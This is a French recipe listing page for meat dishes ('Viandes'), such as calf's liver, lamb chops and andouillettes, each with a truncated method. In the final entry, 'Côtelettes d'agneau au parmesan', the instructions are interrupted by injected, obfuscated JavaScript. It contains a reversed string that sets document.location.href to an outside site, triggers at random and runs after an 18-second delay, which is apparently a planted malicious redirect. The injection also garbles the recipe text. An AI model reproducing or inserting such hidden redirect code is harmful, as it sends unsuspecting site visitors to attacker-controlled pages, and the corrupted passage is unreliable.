Recipes From Cuisine: Viandes
Abattis bonne femme
Coupez-les gousses d’ail en deux, ôtez le germe et hachez-les avec les oignons et le ...
Christine. Lire la suiteAiles de poulet au curry
Dans un bol déposez les raisins secs avec le rhum pendant 15 minutes. Saupoudrez les ...
Christine. Lire la suiteFoie de veau à la lyonnaise
Séchez les tranches de foie de veau avec du papier absorbant. Versez dans une assiette ...
Christine. Lire la suiteFoie gras au naturel
Tapissez le fond d’une terrine de gros sel. Poivrez le foie sur ces deux faces. ...
Christine. Lire la suiteCervelle d’agneau aux épinards
Préparez la pâte à crêpes, en mélangeant la farine avec la pincée de sel fin. ...
Christine. Lire la suiteAndouillettes sauce moutarde
Pelez, hachez les échalotes. Lavez, plongez les pommes de terre avec la peau dans une ...
Christine. Lire la suiteCôtelettes d’agneau au thym
Dans un saladier mélangez le thym avec l’huile. Badigeonnez les côtelettes d’agneau.
Christine.. Lire la suiteCôtelettes d’agneau aux courges
Pelez, lavez les pommes de terre. Détaillez-les en 4. Et faites les cuire à la ...
Christine.. Lire la suiteFoie de veau rôti
Rincez, essorez et hachez le persil. Plongez la crépine dans de l’eau froide pendant 10 ...
Christine. Lire la suiteCôtelettes d’agneau au parmesan
Rincez, séchez le thym dans un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon propre. L’émiettez ...
Christine.. Lire la suite